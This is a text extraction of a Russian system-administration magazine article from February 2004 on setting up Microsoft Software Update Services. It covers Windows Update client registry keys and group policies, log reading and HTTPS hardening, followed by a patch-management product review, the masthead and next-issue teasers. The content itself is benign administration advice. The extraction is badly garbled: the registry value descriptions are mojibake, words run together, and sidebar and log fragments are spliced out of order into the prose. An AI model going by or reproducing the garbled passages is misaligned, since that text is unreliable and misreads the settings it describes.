Настраиваем SUSИтак, сервер SUS установлен, и теперь можно приступить кего настройке. SUS представляет собой веб-приложение наязыке ASP для веб-сервера IIS, так что не удивительно, чтоего настройка полностью осуществляется через веб-интер-фейс. Для того, чтобы открыть страницу настройки SUS, мож-но либо воспользоваться ярлыком «Microsoft Software UpdateServices», расположенным в меню «Administrative tools», либопросто написать в браузере: http://localhost/SUSAdmin. Пос-ле этого мы увидим примерно следующее (см. рис.).

Все основные настройки определяются в пункте «SetOptions».Здесь мы можем задать настройки http-прокси,выбрать языки ОС, для которых необходимо иметь обнов-ления на нашем сервере, а также определить настройкисинхронизации нашего сервера.

SUS – решение масштабируемое, поэтому в качествеисточника обновлений может выступать либо корневой узелWindows Update, либо другой SUS-сервер. Второй вариантможет использоваться в крупных организациях с большимчислом обслуживаемых клиентов, в то время как нам впол-не хватит и первого. Итак, сохраним наши настройки и пе-рейдем в раздел «Synchronize». В этом разделе находитсявсе, что связано с синхронизацией нашего сервера с уз-лом обновлений верхнего уровня: задание расписания, про-

Page 93: 015 Системный Администратор 02 2004

91№2(15), февраль 2004

безопасность

смотр журнала и «ручная» синхронизация. После нажатияна «Synchronize now» SUS автоматически соединится с кор-невым узлом и загрузит все необходимые обновления. Пер-вая синхронизация может продлиться долго, ведь, скореевсего, серверу придется загрузить довольно большее ко-личество обновлений с корневого сайта, однако все после-дующие синхронизации будут проходить гораздо быстрее,загружая только свежие обновления.

После загрузки обновлений необходимо определить,какие из них будут доступны для автоматической установ-ки. Для этого перейдем в раздел «Approve Updates», от-метим необходимые нам обновления и нажмем на кнопку«Approve». На этом серверную часть в целом можно счи-тать настроенной, и теперь самое время перейти к на-стройке клиентской части.

Устанавливаем клиентовWindows UpdateДля работы с SUS необходим клиент Windows Update вер-сии не ниже 2.2, который уже присутствует в Windows 2000SP3, Windows XP SP1 и Windows 2003. Однако, если у васиспользуется более старая версия Windows, не содержа-щая в себе клиента нужной версии, то его нужно устано-вить отдельно, используя установочный пакет wuau22.msiс сайта http://www.microsoft.com. Для этого можно либо вос-пользоваться возможностями централизованной установ-

кой ПО через групповые политики (технология IntelliMirror),либо установить пакет вручную, в случае если машины необъединены в домен.

Настраиваем клиентаWindows UpdateВсе настройки клиента Windows Update хранятся в реест-ре Windows и считываются им каждый раз при запускеслужбы «Automatic Updates». Для задания этих настроекможно либо вручную отредактировать реестр, либо задатьнеобходимые значения при помощи групповых политик.

РеестрМинимально необходимые для работы SUS настройки хра-нятся в следующих ключах реестра:

Этих параметров уже достаточно для того, чтобы кли-ент автоматического обновления начал работу с нашимсервером, однако для более тонкой настройки нужно оп-ределить еще несколько ключей:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵↵↵↵↵WindowsUpdate

WUServer=�http://<Èìÿ ñåðâåðà SUS>�WUStatusServer=�http://<Èìÿ ñåðâåðà SUS>�HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵↵↵↵↵

WindowsUpdate\AUUseWUServer � èñïîëüçîâàòü (1) èëè íåò (0) SUS-ñåðâåð.

Page 94: 015 Системный Администратор 02 2004

92

безопасность

Для редактирования реестра на удаленных машинахможно воспользоваться стандартной утилитой reg.exe, вхо-дящей в Windows XP/2003 и ResourceKit для Windows 2000.Для ее работы необходимо, чтобы на удаленной машинебыла запущена «Служба удаленного управления реест-ром» и пользователь, под которым будет производитьсяподключение к компьютеру, имел права на запись значе-ний в соответствующие ключи реестра.

Однако на практике эти требования далеко не всегдабывают выполнимы, поэтому более целесообразно ис-пользовать домен и групповые политики.

Групповые политикиГрупповые политики являются универсальным сред-ством администрирования компьютеров, входящих вWindows 2000/2003 домен. Они позволяют достаточногибко настраивать как отдельные машины, так и не-сколько машин, объединенных в группы безопасностиили размещенных в организационных единицах. Это до-стигается привязкой групповых политик к организаци-онным единицам и редактированию их параметров бе-зопасности.

Используя групповые политики, можно быстро настро-ить клиента автоматических обновлений, как на тестовойгруппе машин, так и на всех машинах, входящих в до-мен. Кроме того, можно определять различные настрой-ки для различных организационных единиц домена.

Для настройки клиента автоматического обновленияс помощью групповых политик можно использовать стан-дартный для Windows 2003 Server административныйшаблон wuau.adm. Для Windows 2000 Server этот шаб-лон может быть загружен с сайта Microsoft. Настройкапроизводится заданием соответствующих значений по-литик компьютера, расположенных по следующему пути:Computer Settings →→→→→ Administrative Templates →→→→→ WindowsComponents →→→→→ Windows Update.

Здесь при помощи стандартного редактора группо-вых политик можно легко и просто настроить все то, чтовыше мы задавали через реестр. Согласитесь, этот спо-соб гораздо проще, однако для него нужен Windows 2000домен.

Читаем журналыПри своей работе система автоматического обновленияведет журналы в нескольких местах: на SUS-сервере, накаждом клиенте и в системном журнале. Некоторые из

них могут быть очень полезны при мониторинге работысистемы (системный журнал, журнал на клиенте), а неко-торые (журнал веб-сервера IIS) просто незаменимы принастройке прав доступа к SUS-серверу, а также при обыч-ном мониторинге его работы. Итак, рассмотрим болееподробно что, где и когда создается.

На стороне клиентаКаждый раз при обновлении системы клиент WindowsUpdate добавляет в файл %windir%\Windows Update.logзаписи следующего вида:

В этом файле подробно журналируются все действияклиента. Содержимое этого файла достаточно прозрач-но и скорее всего не вызовет проблем в понимании.

Кроме того, в папке c:\Program Files\WindowsUpdateв файле uihist.xml хранится история установки всех об-новлений для данной машины.

В системном журнале появляются события, содер-жащие информацию о работе клиента:

Эта информация может быть полезна при мониторин-ге работы системы обновлений, особенно если исполь-зуется какая-нибудь система централизованного мони-торинга журналов событий.

На стороне сервераТак как SUS работает на IIS, то все сообщения, касающие-ся его работы, нужно искать в журналах IIS. По умолчанию,

2003-12-28 14:17:07 11:17:07 Success IUENGINE ↵↵↵↵↵Determining machine configuration

2003-12-28 14:17:07 11:17:07 Success IUENGINE ↵↵↵↵↵Querying software update catalog from ↵↵↵↵↵http://SUSserver/autoupdate/getmanifest.asp

2003-12-29 10:11:55 07:11:55 Success IUENGINE ↵↵↵↵↵Install started

2003-12-29 10:13:28 07:13:28 Success IUENGINE ↵↵↵↵↵See iuhist.xml for details: Install finished

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵↵↵↵↵WindowsUpdate\AU

ScheduledInstallDay � ïîçâîëÿåò çàäàòü äåíü íåäåëè (0-7),â êîòîðûé áóäåò îñóùåñòâëÿòüñÿ óñòàíîâêà.ScheduledInstallTime � ÷àñ (1-24), â êîòîðûé áóäåò îñóùå-ñòâëÿòüñÿ óñòàíîâêà.AUOptions � âûáîð ðåæèìà óñòàíîâêè (2 � óâåäîìèòü î äîñòóï-íûõ óâåäîìëåíèÿõ, 3 � ñêà÷àòü è óâåäîìèòü ïåðåä óñòàíîâêîé,4 � ñêà÷àòü è óñòàíîâèòü ñîãëàñíî ðàñïèñàíèþ).NoAutoUpdate � 1 � âêëþ÷èòü àâòîîáíîâëåíèå, 0 � âûêëþ÷èòü.RescheduleWaitTime � ýòîò êëþ÷ èñïîëüçóåòñÿ â ñëó÷àå, åñëèêëèåíò íå ñìîã óñòàíîâèòü îáíîâëåíèå â çàäàííîå âðåìÿ. Çàäàåòâðåìÿ â ìèíóòàõ (1-60), â òå÷åíèå êîòîðîãî áóäåò ïðåäïðèíÿ-òî ñëåäóþùåå îáðàùåíèå ê ñåðâåðó.NoAutoRebootWithLoggedOnUsers � 1 � ïîëüçîâàòåëü ìîæåò îò-ìåíèòü ïåðåçàãðóçêó, âûçâàííóþ îáíîâëåíèåì.

Page 95: 015 Системный Администратор 02 2004

93№2(15), февраль 2004

безопасность

журнал IIS находится в %SYSTEMROOT%\LogFiles\W3SVC1,его файлы называются по текущей дате и с установлен-ным SUS содержат записи следующего вида:

Посмотрим на эту строчку более подробно. Смыслпервых двух полей достаточно очевиден. Третье полепоказывает IP-адрес клиента, который обратился к сер-веру, в четвертом поле указывается IP-адрес сервера,пятое – порт, на который было обращение, шестое –метод HTTP запроса клиента (GET, POST, HEAD, PUT,DELETE и т. д.), седьмое указывает файл, к которомуобратился клиент, восьмое – http-код, который вернулIIS. Если IIS сконфигурирован правильно, то возвраща-емый им код всегда будет равен 200. Девятое поле иден-тифицирует клиента Windows Update. Если все сконфи-гурировано правильно, то в журнале IIS будет пример-но следующее:

Здесь мы видим, как клиент с IP-адресом 192.168.10успешно загружает обновления с SUS-сервера. Процессих установки можно отследить либо по системному жур-налу, либо по лог-файлу на клиенте.

Инициируем подключениеклиентаНа первых этапах, когда производится настройка систе-мы, для проверки правильности настроек довольно час-то возникает необходимость принудительно иницииро-вать обращения клиента к серверу. По умолчанию кли-ент Windows Update производит обращение один раз за17-22 часа и для того, чтобы инициировать «внеплано-вое» подключение, приходится вооружаться известнымударным инструментом и осуществлять некоторые ша-манские действия:1. Сконфигурировать клиента стандартными средствами

(Панель управления для 2000, свойства компьютерадля XP).

2. Выключить клиента (либо через его настройки, либоостановив соответствующую службу).

3. Подождать несколько секунд и включить его снова.

В течение некоторого времени (обычно это 5-10 ми-нут) клиент предпримет очередную попытку загрузить об-

новления, отследить которую можно по содержимому сле-дующего ключа реестра:

Значение DetectionStartTime этого ключа хранит вре-мя последнего обращения к серверу обновлений.

Необходимо отметить, что этот способ применим толь-ко для компьютеров, настройка клиентов которых про-водилась с помощью редактирования реестра. Дело втом, что при использовании групповых политик опция,включающая и отключающая клиента, недоступна, покак машине применяется групповая политика, конфигури-рующая автоматические обновления. Таким образом, длятого чтобы инициировать цикл обновления, необходимолибо отключить политику, определяющую настройкуWindows Update, либо перенести машину в другую орга-низационную единицу, к которой эта политика не приме-няется. После этого нужно применить новые политики и,отредактировав настройки клиента, инициировать обра-щение к серверу SUS. Для применения групповых поли-тик в случае Windows 2000 можно воспользоваться про-граммой secedit, в случае Windows XP/2003 – gpupdate.Если не хочется разбираться с синтаксисом этих команд,можно просто перезагрузить компьютер.

Завинчиваем гайки,включаем httpsКак мы уже видели выше, интерфейс администрирова-ния SUS-сервера по http доступен локальному админист-ратору сервера сразу после установки. Однако иногдабывает необходимо администрировать некоторые служ-бы (компоненты) сервера удаленно, либо в рамках все тойже локальной сети, либо через Интернет. В случае SUSэто совсем просто, т.к. его администрирование уже осу-ществляется через веб-интерфейс и ничто не мешает намсделать его общедоступным, настроив соответствующимобразом IIS. С точки зрения элементарной безопасности,настраивая удаленное администрирование в IIS, следуетсоблюдать несколько простых правил:! разрешить доступ к узлу только администраторам, ис-

пользуя встроенную проверку паролей IIS;! организовывать доступ к администрированию узла по

протоколу https, используя 128-битное шифрование;! по возможности использовать ограничение доступа по

IP-адресам.

Для выполнения этих требований вам понадобитсясертификат для веб-сервера IIS, получить который мож-но, создав свой собственный центр сертификации с по-мощью средств Windows Server 2000/2003.

Для разрешения административного доступа по httpsнеобходимо в настройках безопасности каталога веб-сер-вера IIS включить опцию «Требуется безопасный канал(SSL)» для следующих каталогов:

2002-03-25 19:08:48 127.0.0.1 � 127.0.0.1 ↵↵↵↵↵80 POST /autoupdate/getmanifest.asp - 200 ↵↵↵↵↵Mozilla/4.0+(compatible;+Win32;+WinHttp.WinHttpRequest.5)

2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵↵↵↵↵HEAD /content/q828750_6f9e9c85178a4c12d6168f6ee4dbe98.exe - ↵↵↵↵↵200 Microsoft+BITS/6.2

2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵↵↵↵↵HEAD /content/q824145_76dd839870a655458701c0b937b91d6.exe - ↵↵↵↵↵200 Microsoft+BITS/6.2

2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵↵↵↵↵HEAD /content/WindowsXP-KB828035-x86- ↵↵↵↵↵ENU_d911770163b58b6809b00f033230b46.exe - ↵↵↵↵↵200 Microsoft+BITS/6.2

2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵↵↵↵↵HEAD /content/WindowsXP-KB825119-x86- ↵↵↵↵↵ENU_1b9f23b64b002d1e9d1eaba62f5f8fd.exe - ↵↵↵↵↵200 Microsoft+BITS/6.2

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ ↵↵↵↵↵CurrentVersion\WindowsUpdate\Auto Update

\autoupdate\administration\autoupdate\dictionaries\Shared

Page 96: 015 Системный Администратор 02 2004

94

безопасность

Также настоятельно рекомендуется включить опцию«Требуется 128-разрядное шифрование». Это позволитобеспечить достаточную безопасность при передаче па-роля через Интернет.

Будущее SUSК слову сказать, SUS 1.0 является «бюджетным» реше-нием, позволяющим организовать автоматическую ус-тановку только критических обновлений ОС Windows2000/XP/2003. С его помощью нельзя устанавливать об-новления для других программных продуктов, в том чис-ле и от Microsoft. Специально для этих целей Microsoftпредлагает (уже не бесплатно) отдельный продукт –System Management Services, позволяющий решать бо-лее широкий спектр административных задач, в томчисле и установку обновлений для любых программ.

Однако, по всей видимости, Microsoft не собираетсяставить крест на бесплатном SUS. Так, в первой полови-

St. Bernard Software UpdateExpert(http://www.stbernard.com/)Поддерживает: Microsoft Windows NT/2000/XP, IIS, SQLServer, Exchange Server, IE, Outlook Express, Windows MediaPlayer, Windows Media Services, NetMeeting, Microsoft Office,MDAC, ISA Server.

Особенности:! возможность работы без установки агента на клиентс-

кую машину;! ориентация на крупные организации;! поддержка Active Directory.

Созданный с ориентацией на крупные организации,этот продукт поддерживает Active Directory и позволяетудобно работать с большими массивами компьютеров.Примечательная особенность UpdateExpert – возмож-ность работы с конечными машинами без установки аген-та на них.

Shavlik HFNetChkPro(http://www.shavlik.com/)Поддерживает: Microsoft Windows NT/2000/XP/Server 2003,Exchange, SQL Server, Outlook, Microsoft Office, Java VirtualMachine, Internet Explorer, IIS, Windows Media Player,Microsoft Data Access Components (MDAC), ISA Server,Commerce Server, .NET Framework.

Особенности:! ориентация на продукты Microsoft;! поддержка Active Directory;! бесплатный урезанный вариант HFNetChkLT.

Продукт, ориентированный в первую очередь на об-новление программам от Microsoft. К сожалению, рабо-той с ними он в основном и ограничивается. Компания

не 2004 года на рынок будет выпущен SUS версии 2.0.По предварительной информации от самой Microsoft (намомент написания этих строк продукт еще находился встадии бета-тестирования) одним из самых значимых но-вовведений в следующей версии будет переход от об-новления только операционной системы Windows к об-новлению разнообразных приложений от Microsoft (SQLServer, Office, Exchange и другие). Для этого компаниейMicrosoft буден создан специальный сайт, содержащийвсе обновления для ее основных продуктов – MicrosoftUpdate. Кроме того, в SUS 2.0 будет реализован болееполный контроль над процессом установки обновлений,произойдет уменьшение размеров скачиваемых запла-ток (технология Delta patching), а также появится возмож-ность полного отката установленного патча (WindowsInstaller 3.0). Так что ждем SUS 2.0.

Огромное спасибо за помощь в написании статьиДмитрию Косинову.

Используемые материалы:http://go.microsoft.com/fwlink/?LinkId=6930http://support.microsoft.com/default.aspx?kbid=326693

представляет также урезанный бесплатный вариант про-граммы – HFNetChkLT.

Ecora Patch Manager(http://www.ecora.com/)Поддерживает: Sun Solaris, Windows NT/2000/XP/2003, MS-SQL Server, MSDE, Exchange 5.5 & 2000, Office 2000/XP,Windows Media Player, IE, IIS, MDAC.

Особенности:! встроенный планировщик заданий;! гибкий механизм оповещения о различных событиях;! кросс-платформенность.

Схожий по функциональности с HFNetChkPro, этотпродукт обладает встроенным планировщиком заданийи гибкой системой оповещения о появлении в базе но-вых обновлений, удачном сканировании и подобных со-бытиях. Patch Manager является кросс-платформеннымрешением, не ограничиваясь только платформойWindows.

PatchLink Update(http://www.patchlink.com/)Поддерживает: Microsoft Windows NT/2000/XP/Server 2003,Unix, Linux, NetWare.

Особенности:! ориентация на крупные организации;! возможность работы в «клиент-серверном» режиме;! кросс-платформенность.

Продукт поддерживает большое число систем и об-ладает довольно удобным интерфейсом управления. Од-нако могут возникнуть некоторые трудности в его уста-новке.

Обзор рынка ПО для обновлений

\Content\EULA\Content\RTF

Page 97: 015 Системный Администратор 02 2004

Рады видетьВас нашимичитателями!

Единыйподписнойиндекс:

81655по каталогуагентства«Роспечать»

Продолжается подписка на I полугодие 2004 г.Более подробная информация на сайте www.samag.ru

в разделе «Подписка»

подписка

95№2(15), февраль 2004

Page 98: 015 Системный Администратор 02 2004

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№2(15), Февраль, 2004 год

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторАндрей БешковНаучно-технические консультантыДмитрий ГоряиновВалерий Цуканов

РЕКЛАМНАЯ СЛУЖБАтел./факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]Дизайн обложкиНиколай Петрочук

103045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр ПоложевецУЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 6600 экз.Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Наши партнерыНаши партнерыНаши партнерыНаши партнерыНаши партнеры

Свободный антивирусДо недавнего времени об установкеантивируса под UNIX-системы никто,пожалуй, не думал, но события пос-ледних лет изменили коренным обра-зом подход к этому вопросу. Теперьантивирус под эти системы ставят нетолько для обезвреживания вирусовпри использовании UNIX-систем в ка-честве платформы для почтовых ифайловых серверов локальных сетей,но и для локальной защиты пользо-вательских данных от деструктивныхдействий вирусов. При этом антиви-русы должны обладать возможностьюобнаруживать все существующие наданный момент вирусы как для UNIX,так и для Windows-систем, а такжемакровирусы. Наибольшей популяр-ностью среди антивирусов пользует-ся DrWeb, обладающий действитель-но хорошими характеристиками и эв-ристическим анализатором, позволя-ющим иногда обнаружить неизвест-ный вирус. Все, в общем, хорошо, нособрав полностью сервер из бесплат-ных компонентов, выбить финансы,для того чтобы платить за лицензию,под конец года не получилось. А ог-раничения ознакомительной версии,в частности отсутствие возможнос-ти проверки архивов, мне не совсемподходят. В Интернете я постояннонатыкался на другие антивирусы имне захотелось поискать замену (илиубедиться в отсутствии таковой, чтотоже хорошо). В результате я вышелна несколько довольно интересныхпроектов, о которых речь пойдет вэтой статье.

Свободная ДОСдля свободных людей(или не Linux единымжив человек)Когда говорят об ОС, обозначаемой аб-бревиатурой DOS, мало кто задумыва-ется – о какой же Дисковой Операци-онной Системе идет речь. Обозначениецелого класса ОС для большинства лю-дей стало синонимом лишь одного-единственного его представителя – MSDOS фирмы Microsoft, последняя вер-сия которой вышла вот уже десять летназад, и которая давно завершила своеразвитие. Однако до сих пор в эксплуа-тации остается огромное число про-грамм, работающих в среде и написан-ных под эту нетребовательную к ресур-сам ОС, и не меньшее число моральноустаревших компьютеров, прекрасноработающих под ней. Как же быть? Ябы посоветовал обратить внимание наFreeDOS, изначально написанную Джи-мом Холлом, а сейчас развивающуюсяпри участии целой команды разработ-чиков из разных концов света.

С Юниксом на viОперационные системы UNIX считают-ся недружественными по отношению кпользователям. Одним из олицетворе-ний этого называют редактор vi. Помере того, как набирает обороты Linux,среди его пользователей все большуюпопулярность приобретают более при-вычные редакторы, и старый добрый viначинает забываться. Тем не менееэтот редактор обладает функциональ-ностью, универсальностью и удобствомработы.